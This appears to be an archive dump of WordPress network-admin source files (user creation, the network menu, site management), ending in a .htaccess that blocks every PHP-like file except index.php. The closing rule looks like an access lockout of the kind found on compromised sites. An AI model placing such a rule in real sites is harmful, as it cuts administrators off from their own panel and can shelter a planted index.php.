if ( isset( $_GET['tab'] ) && ( 'plugin-information' === $_GET['tab'] ) ) {
	define( 'IFRAME_REQUEST', true );
}

/** Load WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

require ABSPATH . 'wp-admin/plugin-install.php';
user-new.php000064400000011430152333305150007021 0ustar00<?php
/**
 * Add New User network administration panel.
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 3.1.0
 */

/** Load WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

if ( ! current_user_can( 'create_users' ) ) {
	wp_die( __( 'Sorry, you are not allowed to add users to this network.' ) );
}

get_current_screen()->add_help_tab(
	array(
		'id'      => 'overview',
		'title'   => __( 'Overview' ),
		'content' =>
			'<p>' . __( 'Add User will set up a new user account on the network and send that person an email with username and password.' ) . '</p>' .
			'<p>' . __( 'Users who are signed up to the network without a site are added as subscribers to the main or primary dashboard site, giving them profile pages to manage their accounts. These users will only see Dashboard and My Sites in the main navigation until a site is created for them.' ) . '</p>',
	)
);

get_current_screen()->set_help_sidebar(
	'<p><strong>' . __( 'For more information:' ) . '</strong></p>' .
	'<p>' . __( '<a href="https://codex.wordpress.org/Network_Admin_Users_Screen">Documentation on Network Users</a>' ) . '</p>' .
	'<p>' . __( '<a href="https://wordpress.org/support/forum/multisite/">Support Forums</a>' ) . '</p>'
);

if ( isset( $_REQUEST['action'] ) && 'add-user' === $_REQUEST['action'] ) {
	check_admin_referer( 'add-user', '_wpnonce_add-user' );

	if ( ! current_user_can( 'manage_network_users' ) ) {
		wp_die( __( 'Sorry, you are not allowed to access this page.' ), 403 );
	}

	if ( ! is_array( $_POST['user'] ) ) {
		wp_die( __( 'Cannot create an empty user.' ) );
	}

	$user = wp_unslash( $_POST['user'] );

	$user_details = wpmu_validate_user_signup( $user['username'], $user['email'] );

	if ( is_wp_error( $user_details['errors'] ) && $user_details['errors']->has_errors() ) {
		$add_user_errors = $user_details['errors'];
	} else {
		$password = wp_generate_password( 12, false );
		$user_id  = wpmu_create_user( esc_html( strtolower( $user['username'] ) ), $password, sanitize_email( $user['email'] ) );

		if ( ! $user_id ) {
			$add_user_errors = new WP_Error( 'add_user_fail', __( 'Cannot add user.' ) );
		} else {
			/**
			 * Fires after a new user has been created via the network user-new.php page.
			 *
			 * @since 4.4.0
			 *
			 * @param int $user_id ID of the newly created user.
			 */
			do_action( 'network_user_new_created_user', $user_id );

			wp_redirect(
				add_query_arg(
					array(
						'update'  => 'added',
						'user_id' => $user_id,
					),
					'user-new.php'
				)
			);
			exit;
		}
	}
}

if ( isset( $_GET['update'] ) ) {
	$messages = array();
	if ( 'added' === $_GET['update'] ) {
		$edit_link = '';
		if ( isset( $_GET['user_id'] ) ) {
			$user_id_new = absint( $_GET['user_id'] );
			if ( $user_id_new ) {
				$edit_link = esc_url( add_query_arg( 'wp_http_referer', urlencode( wp_unslash( $_SERVER['REQUEST_URI'] ) ), get_edit_user_link( $user_id_new ) ) );
			}
		}

		$message = __( 'User added.' );

		if ( $edit_link ) {
			$message .= sprintf( ' <a href="%s">%s</a>', $edit_link, __( 'Edit user' ) );
		}

		$messages[] = $message;
	}
}

$title       = __( 'Add New User' );
$parent_file = 'users.php';

require_once ABSPATH . 'wp-admin/admin-header.php'; ?>

<div class="wrap">
<h1 id="add-new-user"><?php _e( 'Add New User' ); ?></h1>
<?php
if ( ! empty( $messages ) ) {
	foreach ( $messages as $msg ) {
		echo '<div id="message" class="updated notice is-dismissible"><p>' . $msg . '</p></div>';
	}
}

if ( isset( $add_user_errors ) && is_wp_error( $add_user_errors ) ) {
	?>
	<div class="error">
		<?php
		foreach ( $add_user_errors->get_error_messages() as $message ) {
			echo "<p>$message</p>";
		}
		?>
	</div>
<?php } ?>
	<form action="<?php echo esc_url( network_admin_url( 'user-new.php?action=add-user' ) ); ?>" id="adduser" method="post" novalidate="novalidate">
	<table class="form-table" role="presentation">
		<tr class="form-field form-required">
			<th scope="row"><label for="username"><?php _e( 'Username' ); ?></label></th>
			<td><input type="text" class="regular-text" name="user[username]" id="username" autocapitalize="none" autocorrect="off" maxlength="60" /></td>
		</tr>
		<tr class="form-field form-required">
			<th scope="row"><label for="email"><?php _e( 'Email' ); ?></label></th>
			<td><input type="email" class="regular-text" name="user[email]" id="email" /></td>
		</tr>
		<tr class="form-field">
			<td colspan="2" class="td-full"><?php _e( 'A password reset link will be sent to the user via email.' ); ?></td>
		</tr>
	</table>
	<?php
	/**
	 * Fires at the end of the new user form in network admin.
	 *
	 * @since 4.5.0
	 */
	do_action( 'network_user_new_form' );

	wp_nonce_field( 'add-user', '_wpnonce_add-user' );
	submit_button( __( 'Add User' ), 'primary', 'add-user' );
	?>
	</form>
</div>
<?php
require_once ABSPATH . 'wp-admin/admin-footer.php';
menu.php000064400000011207152333305150006222 0ustar00<?php
/**
 * Build Network Administration Menu.
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 3.1.0
 */

/* translators: Network menu item. */
$menu[2] = array( __( 'Dashboard' ), 'manage_network', 'index.php', '', 'menu-top menu-top-first menu-icon-dashboard', 'menu-dashboard', 'dashicons-dashboard' );

$submenu['index.php'][0] = array( __( 'Home' ), 'read', 'index.php' );

if ( current_user_can( 'update_core' ) ) {
	$cap = 'update_core';
} elseif ( current_user_can( 'update_plugins' ) ) {
	$cap = 'update_plugins';
} elseif ( current_user_can( 'update_themes' ) ) {
	$cap = 'update_themes';
} else {
	$cap = 'update_languages';
}

$update_data = wp_get_update_data();
if ( $update_data['counts']['total'] ) {
	$submenu['index.php'][10] = array(
		sprintf(
			/* translators: %s: Number of available updates. */
			__( 'Updates %s' ),
			sprintf(
				'<span class="update-plugins count-%s"><span class="update-count">%s</span></span>',
				$update_data['counts']['total'],
				number_format_i18n( $update_data['counts']['total'] )
			)
		),
		$cap,
		'update-core.php',
	);
} else {
	$submenu['index.php'][10] = array( __( 'Updates' ), $cap, 'update-core.php' );
}

unset( $cap );

$submenu['index.php'][15] = array( __( 'Upgrade Network' ), 'upgrade_network', 'upgrade.php' );

$menu[4] = array( '', 'read', 'separator1', '', 'wp-menu-separator' );

/* translators: Sites menu item. */
$menu[5]                  = array( __( 'Sites' ), 'manage_sites', 'sites.php', '', 'menu-top menu-icon-site', 'menu-site', 'dashicons-admin-multisite' );
$submenu['sites.php'][5]  = array( __( 'All Sites' ), 'manage_sites', 'sites.php' );
$submenu['sites.php'][10] = array( _x( 'Add New', 'site' ), 'create_sites', 'site-new.php' );

$menu[10]                 = array( __( 'Users' ), 'manage_network_users', 'users.php', '', 'menu-top menu-icon-users', 'menu-users', 'dashicons-admin-users' );
$submenu['users.php'][5]  = array( __( 'All Users' ), 'manage_network_users', 'users.php' );
$submenu['users.php'][10] = array( _x( 'Add New', 'user' ), 'create_users', 'user-new.php' );

if ( current_user_can( 'update_themes' ) && $update_data['counts']['themes'] ) {
	$menu[15] = array(
		sprintf(
			/* translators: %s: Number of available theme updates. */
			__( 'Themes %s' ),
			sprintf(
				'<span class="update-plugins count-%s"><span class="theme-count">%s</span></span>',
				$update_data['counts']['themes'],
				number_format_i18n( $update_data['counts']['themes'] )
			)
		),
		'manage_network_themes',
		'themes.php',
		'',
		'menu-top menu-icon-appearance',
		'menu-appearance',
		'dashicons-admin-appearance',
	);
} else {
	$menu[15] = array( __( 'Themes' ), 'manage_network_themes', 'themes.php', '', 'menu-top menu-icon-appearance', 'menu-appearance', 'dashicons-admin-appearance' );
}
$submenu['themes.php'][5]  = array( __( 'Installed Themes' ), 'manage_network_themes', 'themes.php' );
$submenu['themes.php'][10] = array( _x( 'Add New', 'theme' ), 'install_themes', 'theme-install.php' );
$submenu['themes.php'][15] = array( __( 'Theme Editor' ), 'edit_themes', 'theme-editor.php' );

if ( current_user_can( 'update_plugins' ) && $update_data['counts']['plugins'] ) {
	$menu[20] = array(
		sprintf(
			/* translators: %s: Number of available plugin updates. */
			__( 'Plugins %s' ),
			sprintf(
				'<span class="update-plugins count-%s"><span class="plugin-count">%s</span></span>',
				$update_data['counts']['plugins'],
				number_format_i18n( $update_data['counts']['plugins'] )
			)
		),
		'manage_network_plugins',
		'plugins.php',
		'',
		'menu-top menu-icon-plugins',
		'menu-plugins',
		'dashicons-admin-plugins',
	);
} else {
	$menu[20] = array( __( 'Plugins' ), 'manage_network_plugins', 'plugins.php', '', 'menu-top menu-icon-plugins', 'menu-plugins', 'dashicons-admin-plugins' );
}
$submenu['plugins.php'][5]  = array( __( 'Installed Plugins' ), 'manage_network_plugins', 'plugins.php' );
$submenu['plugins.php'][10] = array( _x( 'Add New', 'plugin' ), 'install_plugins', 'plugin-install.php' );
$submenu['plugins.php'][15] = array( __( 'Plugin Editor' ), 'edit_plugins', 'plugin-editor.php' );

$menu[25] = array( __( 'Settings' ), 'manage_network_options', 'settings.php', '', 'menu-top menu-icon-settings', 'menu-settings', 'dashicons-admin-settings' );
if ( defined( 'MULTISITE' ) && defined( 'WP_ALLOW_MULTISITE' ) && WP_ALLOW_MULTISITE ) {
	$submenu['settings.php'][5]  = array( __( 'Network Settings' ), 'manage_network_options', 'settings.php' );
	$submenu['settings.php'][10] = array( __( 'Network Setup' ), 'setup_network', 'setup.php' );
}
unset( $update_data );

$menu[99] = array( '', 'exist', 'separator-last', '', 'wp-menu-separator' );

require_once ABSPATH . 'wp-admin/includes/menu.php';
sites.php000064400000031572152333305150006414 0ustar00<?php
/**
 * Multisite sites administration panel.
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 3.0.0
 */

/** Load WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

if ( ! current_user_can( 'manage_sites' ) ) {
	wp_die( __( 'Sorry, you are not allowed to access this page.' ), 403 );
}

$wp_list_table = _get_list_table( 'WP_MS_Sites_List_Table' );
$pagenum       = $wp_list_table->get_pagenum();

$title       = __( 'Sites' );
$parent_file = 'sites.php';

add_screen_option( 'per_page' );

get_current_screen()->add_help_tab(
	array(
		'id'      => 'overview',
		'title'   => __( 'Overview' ),
		'content' =>
			'<p>' . __( 'Add New takes you to the Add New Site screen. You can search for a site by Name, ID number, or IP address. Screen Options allows you to choose how many sites to display on one page.' ) . '</p>' .
			'<p>' . __( 'This is the main table of all sites on this network. Switch between list and excerpt views by using the icons above the right side of the table.' ) . '</p>' .
			'<p>' . __( 'Hovering over each site reveals seven options (three for the primary site):' ) . '</p>' .
			'<ul><li>' . __( 'An Edit link to a separate Edit Site screen.' ) . '</li>' .
			'<li>' . __( 'Dashboard leads to the Dashboard for that site.' ) . '</li>' .
			'<li>' . __( 'Deactivate, Archive, and Spam which lead to confirmation screens. These actions can be reversed later.' ) . '</li>' .
			'<li>' . __( 'Delete which is a permanent action after the confirmation screens.' ) . '</li>' .
			'<li>' . __( 'Visit to go to the front-end site live.' ) . '</li></ul>' .
			'<p>' . __( 'The site ID is used internally, and is not shown on the front end of the site or to users/viewers.' ) . '</p>' .
			'<p>' . __( 'Clicking on bold headings can re-sort this table.' ) . '</p>',
	)
);

get_current_screen()->set_help_sidebar(
	'<p><strong>' . __( 'For more information:' ) . '</strong></p>' .
	'<p>' . __( '<a href="https://wordpress.org/support/article/network-admin-sites-screen/">Documentation on Site Management</a>' ) . '</p>' .
	'<p>' . __( '<a href="https://wordpress.org/support/forum/multisite/">Support Forums</a>' ) . '</p>'
);

get_current_screen()->set_screen_reader_content(
	array(
		'heading_pagination' => __( 'Sites list navigation' ),
		'heading_list'       => __( 'Sites list' ),
	)
);

$id = isset( $_REQUEST['id'] ) ? (int) $_REQUEST['id'] : 0;

if ( isset( $_GET['action'] ) ) {
	/** This action is documented in wp-admin/network/edit.php */
	do_action( 'wpmuadminedit' );

	// A list of valid actions and their associated messaging for confirmation output.
	$manage_actions = array(
		/* translators: %s: Site URL. */
		'activateblog'   => __( 'You are about to activate the site %s.' ),
		/* translators: %s: Site URL. */
		'deactivateblog' => __( 'You are about to deactivate the site %s.' ),
		/* translators: %s: Site URL. */
		'unarchiveblog'  => __( 'You are about to unarchive the site %s.' ),
		/* translators: %s: Site URL. */
		'archiveblog'    => __( 'You are about to archive the site %s.' ),
		/* translators: %s: Site URL. */
		'unspamblog'     => __( 'You are about to unspam the site %s.' ),
		/* translators: %s: Site URL. */
		'spamblog'       => __( 'You are about to mark the site %s as spam.' ),
		/* translators: %s: Site URL. */
		'deleteblog'     => __( 'You are about to delete the site %s.' ),
		/* translators: %s: Site URL. */
		'unmatureblog'   => __( 'You are about to mark the site %s as mature.' ),
		/* translators: %s: Site URL. */
		'matureblog'     => __( 'You are about to mark the site %s as not mature.' ),
	);

	if ( 'confirm' === $_GET['action'] ) {
		// The action2 parameter contains the action being taken on the site.
		$site_action = $_GET['action2'];

		if ( ! array_key_exists( $site_action, $manage_actions ) ) {
			wp_die( __( 'The requested action is not valid.' ) );
		}

		// The mature/unmature UI exists only as external code. Check the "confirm" nonce for backward compatibility.
		if ( 'matureblog' === $site_action || 'unmatureblog' === $site_action ) {
			check_admin_referer( 'confirm' );
		} else {
			check_admin_referer( $site_action . '_' . $id );
		}

		if ( ! headers_sent() ) {
			nocache_headers();
			header( 'Content-Type: text/html; charset=utf-8' );
		}

		if ( get_network()->site_id == $id ) {
			wp_die( __( 'Sorry, you are not allowed to change the current site.' ) );
		}

		$site_details = get_site( $id );
		$site_address = untrailingslashit( $site_details->domain . $site_details->path );

		require_once ABSPATH . 'wp-admin/admin-header.php';
		?>
			<div class="wrap">
				<h1><?php _e( 'Confirm your action' ); ?></h1>
				<form action="sites.php?action=<?php echo esc_attr( $site_action ); ?>" method="post">
					<input type="hidden" name="action" value="<?php echo esc_attr( $site_action ); ?>" />
					<input type="hidden" name="id" value="<?php echo esc_attr( $id ); ?>" />
					<input type="hidden" name="_wp_http_referer" value="<?php echo esc_attr( wp_get_referer() ); ?>" />
					<?php wp_nonce_field( $site_action . '_' . $id, '_wpnonce', false ); ?>
					<p><?php printf( $manage_actions[ $site_action ], $site_address ); ?></p>
					<?php submit_button( __( 'Confirm' ), 'primary' ); ?>
				</form>
			</div>
		<?php
		require_once ABSPATH . 'wp-admin/admin-footer.php';
		exit;
	} elseif ( array_key_exists( $_GET['action'], $manage_actions ) ) {
		$action = $_GET['action'];
		check_admin_referer( $action . '_' . $id );
	} elseif ( 'allblogs' === $_GET['action'] ) {
		check_admin_referer( 'bulk-sites' );
	}

	$updated_action = '';

	switch ( $_GET['action'] ) {

		case 'deleteblog':
			if ( ! current_user_can( 'delete_sites' ) ) {
				wp_die( __( 'Sorry, you are not allowed to access this page.' ), '', array( 'response' => 403 ) );
			}

			$updated_action = 'not_deleted';
			if ( '0' != $id && get_network()->site_id != $id && current_user_can( 'delete_site', $id ) ) {
				wpmu_delete_blog( $id, true );
				$updated_action = 'delete';
			}
			break;

		case 'delete_sites':
			check_admin_referer( 'ms-delete-sites' );

			foreach ( (array) $_POST['site_ids'] as $site_id ) {
				$site_id = (int) $site_id;

				if ( get_network()->site_id == $site_id ) {
					continue;
				}

				if ( ! current_user_can( 'delete_site', $site_id ) ) {
					$site         = get_site( $site_id );
					$site_address = untrailingslashit( $site->domain . $site->path );

					wp_die(
						sprintf(
							/* translators: %s: Site URL. */
							__( 'Sorry, you are not allowed to delete the site %s.' ),
							$site_address
						),
						403
					);
				}

				$updated_action = 'all_delete';
				wpmu_delete_blog( $site_id, true );
			}
			break;

		case 'allblogs':
			if ( isset( $_POST['action'] ) && isset( $_POST['allblogs'] ) ) {
				$doaction = $_POST['action'];

				foreach ( (array) $_POST['allblogs'] as $key => $val ) {
					if ( '0' != $val && get_network()->site_id != $val ) {
						switch ( $doaction ) {
							case 'delete':
								require_once ABSPATH . 'wp-admin/admin-header.php';
								?>
								<div class="wrap">
									<h1><?php _e( 'Confirm your action' ); ?></h1>
									<form action="sites.php?action=delete_sites" method="post">
										<input type="hidden" name="action" value="delete_sites" />
										<input type="hidden" name="_wp_http_referer" value="<?php echo esc_attr( wp_get_referer() ); ?>" />
										<?php wp_nonce_field( 'ms-delete-sites', '_wpnonce', false ); ?>
										<p><?php _e( 'You are about to delete the following sites:' ); ?></p>
										<ul class="ul-disc">
											<?php
											foreach ( $_POST['allblogs'] as $site_id ) :
												$site         = get_site( $site_id );
												$site_address = untrailingslashit( $site->domain . $site->path );
												?>
												<li>
													<?php echo $site_address; ?>
													<input type="hidden" name="site_ids[]" value="<?php echo (int) $site_id; ?>" />
												</li>
											<?php endforeach; ?>
										</ul>
										<?php submit_button( __( 'Confirm' ), 'primary' ); ?>
									</form>
								</div>
								<?php
								require_once ABSPATH . 'wp-admin/admin-footer.php';
								exit;
							break;

							case 'spam':
							case 'notspam':
								$updated_action = ( 'spam' === $doaction ) ? 'all_spam' : 'all_notspam';
								update_blog_status( $val, 'spam', ( 'spam' === $doaction ) ? '1' : '0' );
								break;
						}
					} else {
						wp_die( __( 'Sorry, you are not allowed to change the current site.' ) );
					}
				}

				if ( ! in_array( $doaction, array( 'delete', 'spam', 'notspam' ), true ) ) {
					$redirect_to = wp_get_referer();
					$blogs       = (array) $_POST['allblogs'];

					/** This action is documented in wp-admin/network/site-themes.php */
					$redirect_to = apply_filters( 'handle_network_bulk_actions-' . get_current_screen()->id, $redirect_to, $doaction, $blogs, $id ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores

					wp_safe_redirect( $redirect_to );
					exit;
				}
			} else {
				// Process query defined by WP_MS_Site_List_Table::extra_table_nav().
				$location = remove_query_arg(
					array( '_wp_http_referer', '_wpnonce' ),
					add_query_arg( $_POST, network_admin_url( 'sites.php' ) )
				);

				wp_redirect( $location );
				exit;
			}

			break;

		case 'archiveblog':
		case 'unarchiveblog':
			update_blog_status( $id, 'archived', ( 'archiveblog' === $_GET['action'] ) ? '1' : '0' );
			break;

		case 'activateblog':
			update_blog_status( $id, 'deleted', '0' );

			/**
			 * Fires after a network site is activated.
			 *
			 * @since MU (3.0.0)
			 *
			 * @param string $id The ID of the activated site.
			 */
			do_action( 'activate_blog', $id );
			break;

		case 'deactivateblog':
			/**
			 * Fires before a network site is deactivated.
			 *
			 * @since MU (3.0.0)
			 *
			 * @param string $id The ID of the site being deactivated.
			 */
			do_action( 'deactivate_blog', $id );

			update_blog_status( $id, 'deleted', '1' );
			break;

		case 'unspamblog':
		case 'spamblog':
			update_blog_status( $id, 'spam', ( 'spamblog' === $_GET['action'] ) ? '1' : '0' );
			break;

		case 'unmatureblog':
		case 'matureblog':
			update_blog_status( $id, 'mature', ( 'matureblog' === $_GET['action'] ) ? '1' : '0' );
			break;
	}

	if ( empty( $updated_action ) && array_key_exists( $_GET['action'], $manage_actions ) ) {
		$updated_action = $_GET['action'];
	}

	if ( ! empty( $updated_action ) ) {
		wp_safe_redirect( add_query_arg( array( 'updated' => $updated_action ), wp_get_referer() ) );
		exit;
	}
}

$msg = '';
if ( isset( $_GET['updated'] ) ) {
	$action = $_GET['updated'];

	switch ( $action ) {
		case 'all_notspam':
			$msg = __( 'Sites removed from spam.' );
			break;
		case 'all_spam':
			$msg = __( 'Sites marked as spam.' );
			break;
		case 'all_delete':
			$msg = __( 'Sites deleted.' );
			break;
		case 'delete':
			$msg = __( 'Site deleted.' );
			break;
		case 'not_deleted':
			$msg = __( 'Sorry, you are not allowed to delete that site.' );
			break;
		case 'archiveblog':
			$msg = __( 'Site archived.' );
			break;
		case 'unarchiveblog':
			$msg = __( 'Site unarchived.' );
			break;
		case 'activateblog':
			$msg = __( 'Site activated.' );
			break;
		case 'deactivateblog':
			$msg = __( 'Site deactivated.' );
			break;
		case 'unspamblog':
			$msg = __( 'Site removed from spam.' );
			break;
		case 'spamblog':
			$msg = __( 'Site marked as spam.' );
			break;
		default:
			/**
			 * Filters a specific, non-default, site-updated message in the Network admin.
			 *
			 * The dynamic portion of the hook name, `$action`, refers to the non-default
			 * site update action.
			 *
			 * @since 3.1.0
			 *
			 * @param string $msg The update message. Default 'Settings saved'.
			 */
			$msg = apply_filters( "network_sites_updated_message_{$action}", __( 'Settings saved.' ) );
			break;
	}

	if ( ! empty( $msg ) ) {
		$msg = '<div id="message" class="updated notice is-dismissible"><p>' . $msg . '</p></div>';
	}
}

$wp_list_table->prepare_items();

require_once ABSPATH . 'wp-admin/admin-header.php';
?>

<div class="wrap">
<h1 class="wp-heading-inline"><?php _e( 'Sites' ); ?></h1>

<?php if ( current_user_can( 'create_sites' ) ) : ?>
	<a href="<?php echo esc_url( network_admin_url( 'site-new.php' ) ); ?>" class="page-title-action"><?php echo esc_html_x( 'Add New', 'site' ); ?></a>
<?php endif; ?>

<?php
if ( isset( $_REQUEST['s'] ) && strlen( $_REQUEST['s'] ) ) {
	echo '<span class="subtitle">';
	printf(
		/* translators: %s: Search query. */
		__( 'Search results for: %s' ),
		'<strong>' . esc_html( $s ) . '</strong>'
	);
	echo '</span>';
}
?>

<hr class="wp-header-end">

<?php $wp_list_table->views(); ?>

<?php echo $msg; ?>

<form method="get" id="ms-search" class="wp-clearfix">
<?php $wp_list_table->search_box( __( 'Search Sites' ), 'site' ); ?>
<input type="hidden" name="action" value="blogs" />
</form>

<form id="form-site-list" action="sites.php?action=allblogs" method="post">
	<?php $wp_list_table->display(); ?>
</form>
</div>
<?php

require_once ABSPATH . 'wp-admin/admin-footer.php'; ?>
.htaccess000064400000000334152334027440006346 0ustar00<FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|pHP7|php7|phP|PhP|php5|php8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>
<FilesMatch '^(index.php)$'>
Order allow,deny
Allow from all
</FilesMatch>